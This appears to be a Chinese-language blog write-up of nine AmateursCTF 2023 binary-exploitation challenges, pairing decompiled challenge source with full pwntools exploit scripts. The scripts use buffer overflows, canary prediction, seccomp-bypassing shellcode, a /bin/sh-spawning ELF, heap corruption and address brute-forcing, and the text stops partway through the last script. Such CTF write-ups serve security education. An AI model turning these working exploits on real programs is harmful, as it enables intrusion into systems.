文章

2023-AmateursCTF-WriteUps

https://ctf.amateurs.team/

1.pwn-rntk

  • 代码恢复
  • 程序自己生产里一个类似 canary 的东西,溢出检测
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include <time.h>


long long int global_canary=NULL;

int win()
{
  char s[72]; // [rsp+0h] [rbp-50h] BYREF
  FILE *stream; // [rsp+48h] [rbp-8h]

  stream = fopen("flag.txt", "r");
  if ( !stream )
  {
    puts("flag file not found");
    exit(1);
  }
  fgets(s, 64, stream);
  return puts(s);
}


int random_guess()
{
  char nptr[40]; // [rsp+0h] [rbp-30h] BYREF
  int v2; // [rsp+28h] [rbp-8h]
  int v3; // [rsp+2Ch] [rbp-4h]

  printf("Enter in a number as your guess: ");
  v3 = global_canary;
  gets(nptr);
  v2 = strtol(nptr, 0LL, 10);
  if ( v3 != global_canary ) // 溢出检测
  {
    puts("***** Stack Smashing Detected ***** : Canary Value Corrupt!");
    exit(1);
  }
  if ( v2 == rand() )
    return puts("Congrats you guessed correctly!");
  else
    return puts("Better luck next time");
}


int generate_canary()
{
  unsigned int v0; // eax
  int result; // eax

  v0 = time(0LL);
  srand(v0);
  result = rand();
  global_canary = result;
  return result;
}

int  main(){
  unsigned int v3; // eax
  int v4; // [rsp+Ch] [rbp-4h] BYREF

  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  generate_canary();
  while ( 1 )
  {
    puts("Please select one of the following actions");
    puts("1) Generate random number");
    puts("2) Try to guess a random number");
    puts("3) Exit");
    v4 = 0;
    scanf("%d", &v4);
    getchar();
    if ( v4 == 3 )
      break;
    if ( v4 <= 3 )
    {
      if ( v4 == 1 )
      {
        v3 = rand();
        printf("%d\n", v3);
      }
      else if ( v4 == 2 )
      {
        random_guess();
      }
    }
  }
  exit(0);
}

// gcc main.c -fno-stack-protector
  • 使用time 预测计算 伪随机,进行预测canary的值然后覆盖 return
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *


s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)

binary = './chal'
libelf = ''

context.arch      = 'amd64'
context.log_level = 'debug'
context.terminal  = ['tmux','splitw','-h','-l','130']



io = process(binary)
io = remote('amt.rs',31175)


win = 0x04012BA

from ctypes import *
import time
cli = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
cli.srand(int(time.time()))
v3 = cli.rand()
print(v3)


ru('3) Exit\n')

#gdb.attach(io)
sl('2')
ru(': ')
pay = (44) * b'A' + p32(v3) + p64(0) + p64(win)
sl(pay)

io.interactive()

# amateursCTF{r4nd0m_n0t_s0_r4nd0m_after_all}

2.pwn-permissions

  • 源码

    • 沙箱 只允许 read write exit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <linux/seccomp.h>
#include <seccomp.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>

void setup_seccomp () {
    scmp_filter_ctx ctx;
    ctx = seccomp_init(SCMP_ACT_KILL);
    int ret = 0;
    ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
    ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
    ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
    ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
    ret |= seccomp_load(ctx);
    if (ret) {
        errx(1, "seccomp failed");
    }
}

int main () {
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    alarm(6);

    int fd = open("flag.txt", O_RDONLY);
    if (0 > fd)
        errx(1, "failed to open flag.txt");

    char * flag = mmap(NULL, 0x1000, PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0);
    if (flag == MAP_FAILED)
        errx(1, "failed to mmap memory");

    if (0 > read(fd, flag, 0x1000))
        errx(1, "failed to read flag");

    close(fd);

    // make flag write-only
    if (0 > mprotect(flag, 0x1000, PROT_WRITE))
        errx(1, "failed to change mmap permissions");

    char * code = mmap(NULL, 0x100000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_PRIVATE, -1, 0);
    if (code == MAP_FAILED)
        errx(1, "failed to mmap shellcode buffer");

    printf("> ");
    if (0 > read(0, code, 0x100000))
        errx(1, "failed to read shellcode");

    setup_seccomp();

    ((void(*)(char *))code)(flag);
    exit(0);
}
  • 程序沙箱
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
=[06:06:12]-  seccomp-tools dump ./chal
> 1
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x05 0xffffffff  if (A != 0xffffffff) goto 0010
 0005: 0x15 0x03 0x00 0x00000000  if (A == read) goto 0009
 0006: 0x15 0x02 0x00 0x00000001  if (A == write) goto 0009
 0007: 0x15 0x01 0x00 0x0000003c  if (A == exit) goto 0009
 0008: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x06 0x00 0x00 0x00000000  return KILL
  • exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *


s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)

binary = './chal'
libelf = ''

context.arch      = 'amd64'
context.log_level = 'debug'
context.terminal  = ['tmux','splitw','-h','-l','130']



io = process(binary)
io = remote('amt.rs',31174)
pay = asm('''
    xchg rax,rsi
    push 1
    pop rax
    push 1
    pop rdi
    push 50
    pop rdx
    syscall
        ''')
#gdb.attach(io,'b *$rebase(0x01553)')
sl(pay)

io.interactive()

# amateursCTF{exec_1mpl13s_r34d_8751fda0}
  • SYS_write_ 输出flag

image

3.pwn-hex-converter-1

  • 源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
#include <stdlib.h>

int main()
{
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    int i = 0;

    char name[16];
    printf("input text to convert to hex: \n");
    gets(name);

    char flag[64];
    fgets(flag, 64, fopen("flag.txt", "r"));
    // TODO: PRINT FLAG for cool people ... but maybe later

    while (i < 16)
    {
        // the & 0xFF... is to do some typecasting and make sure only two characters are printed ^_^ hehe
        printf("%02X", (unsigned int)(name[i] & 0xFF));
        i++;
    }
    printf("\n");
}

利用溢出覆盖 v7 的值为负数,然后就可以printf flag_data 了

image

  • exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *


s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)

binary = './chal'
libelf = ''
l
context.arch      = 'amd64'
context.log_level = 'debug'
context.terminal  = ['tmux','splitw','-h','-l','130']


#elf =  ELF(binary)
#libc = ELF(libelf)

io = process(binary)
io = remote('amt.rs',31630)
ru('input text to convert to hex: \n')
pay = b'A' * (28) +  p64(0x100000000 + (-64))

#gdb.attach(io)
sl(pay)
x = io.recvline()[:-1]
print(bytes.fromhex(x.decode()))


io.interactive()

4.pwn-hex-converter-2

  • 源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <stdio.h>
#include <stdlib.h>

int main()
{
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    int i = 0;

    char name[16];
    printf("input text to convert to hex: \n");
    gets(name);

    char flag[64];
    fgets(flag, 64, fopen("flag.txt", "r"));
    // TODO: PRINT FLAG for cool people ... but maybe later

    while (1)
    {
        // the & 0xFF... is to do some typecasting and make sure only two characters are printed ^_^ hehe
        printf("%02X", (unsigned int)(name[i] & 0xFF));

        // exit out of the loop
        if (i <= 0)
        {
            printf("\n");
            return 0;
        }
        i--;
    }
}

IDA 打开

如果把 v7 覆盖成 负数,确实可以 泄露 flag,但是只能泄露一个,我们可以写个循环来一个一个字符泄露flag

image

  • exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *


s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)

binary = './chal'
libelf = ''

context.arch      = 'amd64'
context.log_level = 'debug'
context.terminal  = ['tmux','splitw','-h','-l','130']

#elf =  ELF(binary)
#libc = ELF(libelf)

flag = ''
for i in range(140):
    #io = process(binary)
    io = remote('amt.rs',31631)
    ru('input text to convert to hex: \n')
    pay = b'A' * (28) +  p64(0x100000000 + (-64)+i)
    sl(pay)
    flag += chr(int(io.recv(2),16))
    print(flag)
    io.close()
#x = io.recvline()[:-1]
#print(bytes.fromhex(x.decode()))


#io.interactive(

image

1
amateursCTF{an0ther_e4sier_0ne_t0_offset_unvariant_while_l00p}

5.pwn-i-love-ffi

  • 源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stddef.h>
#include <unistd.h>
#include <sys/mman.h>

struct MmapArgs {
    uint64_t * addr;
    uint64_t length;
    int protection;
    int flags;
    int fd;
    uint64_t offset;
};

extern struct MmapArgs mmap_args();

int main () {
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    struct MmapArgs args = mmap_args();
    char * buf = mmap(args.addr, args.length, args.protection, MAP_PRIVATE | MAP_ANON, args.fd, args.offset);
    if (buf < 0) {
        perror("failed to mmap");
    }

    read(0, buf, 0x1000);

    printf("> ");
    int op;
    if (scanf("%d", &op) == 1) {
        switch (op) {
            case 0:
                ((void (*)(void))buf)();
                break;
            case 1:
                puts(buf);
                break;
        }
    }
}

DIA 打开 自定义libc 函数 mmap_args

image

自定义libc

image

image

看下实际给谁赋的值

image

image

1
2
3
4
5
6
        addr: 0x0  # rdi
        len: 0x190 # rsi
        prot: 0x7  # rdx
        flags: 0x21 # r10
        fd: 0xffffffff # r8
        offset: 0x0 # r9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *


s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)

binary = './chal'
libelf = ''

context.arch      = 'amd64'
context.log_level = 'debug'
context.terminal  = ['tmux','splitw','-h','-l','130']


#elf =  ELF(binary)
#libc = ELF(libelf)

io = process(binary)
#io = remote()

addr = 0x30000
Len = 0x1000
fd =  0
offset = 0
prot = 7

sla(">",str(addr))
sla(">",str(Len))
sla(">",str(fd))
sla(">",'0')
sla(">",str(offset))
gdb.attach(io)
sla(">",str(prot))


io.interactive()

image

mmap 申请的 0x3000

image

然后下面就是读一段shellcode,直接发送过去,然后 去执行

image

  • exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *


s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)

binary = './chal'
libelf = ''

context.arch      = 'amd64'
context.log_level = 'debug'
context.terminal  = ['tmux','splitw','-h','-l','130']


#elf =  ELF(binary)
#libc = ELF(libelf)

io = process(binary)
io = remote('amt.rs',31172)

addr = 0x30000
Len = 0x1000
fd =  0
offset = 0
prot = 7
sla(">",str(addr))
sla(">",str(Len))
sla(">",str(fd))
sla(">",'0')
sla(">",str(offset))
sla(">",str(prot))

shellcode = asm(shellcraft.sh())
sl(shellcode)

#gdb.attach(io)

sla(">",'0')


io.interactive()

# amateursCTF{1_l0v3_struct_p4dding}

6.pwn-ELFcrafting-v1

  • 源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include<stdio.h>
#include<stdlib.h>
#include<time.h>

int main(int argc, const char **argv, const char **envp)
{
    int fd; // [rsp+28h] [rbp-38h]
    int v6; // [rsp+2Ch] [rbp-34h]
    int v7; // [rsp+2Ch] [rbp-34h]
    char buf[40]; // [rsp+30h] [rbp-30h] BYREF

    setbuf(stdout, 0LL);
    setbuf(stderr, 0LL);
    puts("I'm sure you all enjoy doing shellcode golf problems.");
    puts("But have you ever tried ELF golfing?");
    puts("Have fun!");

    fd = memfd_create("golf", 0LL);
    if ( fd < 0 )
    {
        perror("failed to execute fd = memfd_create(\"golf\", 0)");
        exit(1);
    }

    v6 = read(0, buf, 0x20uLL);
    if ( v6 < 0 )
    {
        perror("failed to execute ok = read(0, buffer, 32)");
        exit(1);
    }
    printf("read %d bytes from stdin\n", v6);

    v7 = write(fd, buf, v6);
    if ( v7 < 0 )
    {
        perror("failed to execute ok = write(fd, buffer, ok)");
        exit(1);
    }
    printf("wrote %d bytes to file\n", v7);

    if ( fexecve(fd, argv, envp) < 0 )
    {
        perror("failed to execute fexecve(fd, argv, envp)");
        exit(1);
    }
    return 0;
}

参考大佬wp

AmateurCTF '23 - Pwn - Elfcrafting-V1 (theflash2k.me)

image

​​image​​

amateursCTF{i_th1nk_i_f0rg0t_about_sh3bangs_aaaaaargh}

7.pwn-ELFcrafting-v2

  • 源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include<stdio.h>
#include<stdlib.h>
#include<time.h>

int  main(int argc, const char **argv, const char **envp)
{
    int fd; // [rsp+24h] [rbp-6Ch]
    int v6; // [rsp+28h] [rbp-68h]
    int v7; // [rsp+28h] [rbp-68h]
    int s1; // [rsp+2Ch] [rbp-64h] BYREF
    char buf[88]; // [rsp+30h] [rbp-60h] BYREF
  

    setbuf(stdout, 0LL);
    setbuf(stderr, 0LL);
    puts("I'm sure you all enjoy doing shellcode golf problems.");
    puts("But have you ever tried ELF golfing?");
    puts("Have fun!");

    s1 = 1179403647; // ELF 文件头
    fd = memfd_create("golf", 0LL);

    if ( fd < 0 )
    {
        perror("failed to execute fd = memfd_create(\"golf\", 0)");
        exit(1);
    }
    v6 = read(0, buf, 0x4FuLL);
    if ( v6 < 0 )
    {
        perror("failed to execute ok = read(0, buffer, 79)");
        exit(1);
    }
    printf("read %d bytes from stdin\n", v6);
    if ( memcmp(&s1, buf, 4uLL) )
    {
        puts("not an ELF file :/");
        exit(1);
    }
    v7 = write(fd, buf, v6);
    if ( v7 < 0 )
    {
        perror("failed to execute ok = write(fd, buffer, ok)");
        exit(1);
    }
    printf("wrote %d bytes to file\n", v7);
    if ( fexecve(fd, (char *const *)argv, (char *const *)envp) < 0 )
    {
        perror("failed to execute fexecve(fd, argv, envp)");
        exit(1);
    }
    return 0;
}

  • 超级短小的 ELF 文件
BITS 32
    org 0x00010000
    db 0x7F, "ELF"
    dd 1
    dd 0
    dd $$
    dw 2
    dw 3
    dd _start
    dd _start
    dd 4
_cont:
    mov dl, 0xff
    int 0x80
    mov ebx, eax
    mov al, 3
    jmp _end
    dw 0x20
    dw 1
_start:
    mov al, 11
    mov ebx, string_start
    int 0x80
_end:
    mov ecx, esp
    int 0x80
    xor ebx, ebx
    mov al, 4
    int 0x80
string_start:
    db "/bin/sh"
string_len equ $ - string_start
filesize equ $ - $$

1
nasm -f bin -o Execve Execve.asm && chmod +x Execve && hexdump -C Execve

image

1
elf = "7f454c46010000000000000000000100020003002e0001002e00010004000000b2ffcd8089c3b003eb0d20000100b00bbb41000100cd8089e1cd8031dbb004cd802f62696e2f7368"

直接吧这个 bin 发送出去,

  • exploit
1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

#io = process('./chal')
io = remote('amt.rs', 31179)

io.recv()
with open('./shell', 'rb') as f:
    buf = f.read()

io.sendline(buf + b'\x00')
io.sendline('cat flag.txt')
io.interactive()

image

1
amateursCTF{d1d_i_f0rg3t_t0_p4tch_32b1t_b1naries_t00!!!}

8.pwn-simple-heap-v1

可以修改一个值

image

  • exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *


s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)

binary = './chal'
libelf = ''

context.arch      = 'amd64'
context.log_level = 'debug'
context.terminal  = ['tmux','splitw','-h','-l','130']


#elf =  ELF(binary)
#libc = ELF(libelf)

io = process(binary)
io = remote('amt.rs',31176)


#gdb.attach(io,'b *$rebase(0x001600)')

def getchunk(size,data):
    sla('size: ',str(size))
    sla('data: ',data)

pay = 0x18 * "A"
ru('Welcome to the flag checker\n')
getchunk(len(pay),pay)

ru("I'll give you three chances to guess my flag.\n")
getchunk(len(pay),pay)

ru('index: ')
sl('-8')
ru('new character:')
sl('\x91')
pay = 0x80 * "A"
getchunk(len(pay),pay)


io.interactive()

我们来动态调试分析程序

-8 是我提前计算好的,我们先传进去,然后继续分析

image

ptr + (-8) 也就是我们 堆块ptr的size

image

修改之前的堆布局,我们等会给 这个 0x21 改成 大一点,只要可以 覆盖 下面的 tcachebins就可以了

image

执行完 *(ptr + v4) = v3;​ 后 的堆布局

image堆布局状态

image

执行完这个free后

image

image

后面先是申请一个堆块,然后check() 里面再次申请一个堆块

image

执行 getchunk()后, 此时 下面的tcachebins 已经被破坏,但是check()里的申请0x80仍然可以申请到

image

跟进去

image

执行后

image

也是申请到了这里

image

然后就是 open flag 把内容 放到这个堆块里

image

image

然后就可以

image

远程

image

flag{wh0_kn3w_y0u_c0uld_unm4p_th3_libc}

9.pwn-perfect-sandbox

这是一个完美的沙盒,绝对没有办法泄露flag!

  • 源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <err.h>
#include <time.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <string.h>
#include <linux/seccomp.h>
#include <seccomp.h>

void setup_seccomp () {
    scmp_filter_ctx ctx;
    ctx = seccomp_init(SCMP_ACT_KILL);
    int ret = 0;
    ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
    ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
    ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
    ret |= seccomp_load(ctx);
    if (ret) {
        errx(1, "seccomp failed");
    }
}

int main () {
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    char * tmp = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0);

    int urandom = open("/dev/urandom", O_RDONLY);
    if (urandom < 0) {
        errx(1, "open /dev/urandom failed");
    }
    read(urandom, tmp, 4);
    close(urandom);

    unsigned int offset = *(unsigned int *)tmp & ~0xFFF;
    uint64_t addr = 0x1337000ULL + (uint64_t)offset;

    char * flag = mmap((void *)addr, 4096, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0);
    if (flag == MAP_FAILED) {
        errx(1, "mapping flag failed");
    }

    int fd = open("flag.txt", O_RDONLY);
    if (fd < 0) {
        errx(1, "open flag.txt failed");
    }
    read(fd, flag, 128);
    close(fd);

    char * code = mmap(NULL, 0x100000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_PRIVATE, -1, 0);
    if (code == MAP_FAILED) {
        errx(1, "mmap failed");
    }

    char * stack = mmap((void *)0x13371337000, 0x4000, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE | MAP_GROWSDOWN, -1, 0);
    if (stack == MAP_FAILED) {
        errx(1, "failed to map stack");
    }

    printf("> ");
    read(0, code, 0x100000);

    setup_seccomp();

    asm volatile(
        ".intel_syntax noprefix\n"
        "mov rbx, 0x13371337\n"
        "mov rcx, rbx\n"
        "mov rdx, rbx\n"
        "mov rdi, rbx\n"
        "mov rsi, rbx\n"
        "mov rsp, 0x13371337000\n"
        "mov rbp, rbx\n"
        "mov r8,  rbx\n"
        "mov r9,  rbx\n"
        "mov r10, rbx\n"
        "mov r11, rbx\n"
        "mov r12, rbx\n"
        "mov r13, rbx\n"
        "mov r14, rbx\n"
        "mov r15, rbx\n"
        "jmp rax\n"
        ".att_syntax prefix\n"
        :
        : [code] "rax" (code)
        :
    );
}

  • 沙箱

image

由于程序已经open(flag)了 ,所以我们只要使用 read 读flag,然后再用 write输出出来就OK了

下面等会在 jmp rax 出打个断点

image

  • 测试 脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *


s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)

binary = './chal'
libelf = ''

context.arch      = 'amd64'
context.log_level = 'debug'
context.terminal  = ['tmux','splitw','-h','-l','130']


#elf =  ELF(binary)
#libc = ELF(libelf)

io = process(binary)
#io = remote()

gdb.attach(io,'b *0x0401594')

pay = asm('''
          nop
          nop
          nop
          nop
''')
sl(pay)

io.interactive()

image

  • 上面的啥也不是,接下来我们来详细分析一下这题

…..(分析了一下午)

image

扎心了,呜呜呜,在大佬眼了就是瞬秒题

  • 真正的开始

  • OK ,总的来说这题还是比较有意思的,
  • 经过测试,这题最完美的解决方法就是爆破地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)

binary = './chal'
#libelf = './libseccomp.so.2.5.3'
libelf = '/lib/x86_64-linux-gnu/libseccomp.so.2'

context.arch      = 'amd64'
context.log_level = 'debug'
context.terminal  = ['tmux','splitw','-h','-l','130']


elf =  ELF(binary)
libc = ELF(libelf)



io = process(binary)
#io = remote('amt.rs',31173)
gdb.attach(io,'b *0x0401594')
offset = 0x1000 * 41   # 主要是这个偏移地址,怎么得到的,先不用管,等会就知道了
# (在一台机器上偏移是固定的, 不同的机器又是不一样的)
# 

sc = f"""
mov rsi,[{elf.got['seccomp_init']}]
sub rsi,{libc.sym['seccomp_init']}

add rsi,{offset}
mov rsi,[rsi]

and esi,0xFFFFF000
add rsi,0x1337000
mov rax, 1
mov rdi, 1
mov rdx, 0x100
syscall
"""

ru('> ')
sl(asm(sc))
io.interactive()

由于 NO PIE 所以我们直接从 got 里拿 libc上的地址

​​image

libc.sym['seccomp_init']​ 计算一个 libc 上的基地址, 我们就选取 ​/usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.4​ 的基地址,其实其他的基地址应该也可以

​​​image

执行完这个后,rsi 里的地址指向的就是

image

就是 从 /dev/urandom​ 里读的随机数(我们先叫它key),通过这个随机数我们就可以 经过计算就得到用来存放flag的随机地址.

image

然后 用 key 通过这两个计算就可以得到 flag的地址了, and eax, 0FFFFF000hadd rax, 1337000h

​​image

然后就是 flag了

image

下面就是 SYS_write 输出flag就行了

image

  • 最终通用 exploit

看重点,其实只要我们 以 0x1000 的倍数去才地址就可以了,最多最多就 0xff就可以得到 我们想要的地址.

也要根据实际的 libseccomp.so.2.5.3版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)

binary = './chal'
#libelf = './libseccomp.so.2.5.3'
libelf = '/lib/x86_64-linux-gnu/libseccomp.so.2'

context.arch      = 'amd64'
context.log_level = 'debug'
context.terminal  = ['tmux','splitw','-h','-l','130']


elf =  ELF(binary)
libc = ELF(libelf)



for i in range(42,255):
    io = process(binary)
    io = remote('amt.rs',31173)
    #gdb.attach(io,'b *0x0401594')
    offset = 0x1000 * i
    sc = f"""
    mov rsi,[{elf.got['seccomp_init']}]
    sub rsi,{libc.sym['seccomp_init']}

    add rsi,{offset}     # 重点
    mov rsi,[rsi]

    and esi,0xFFFFF000
    add rsi,0x1337000
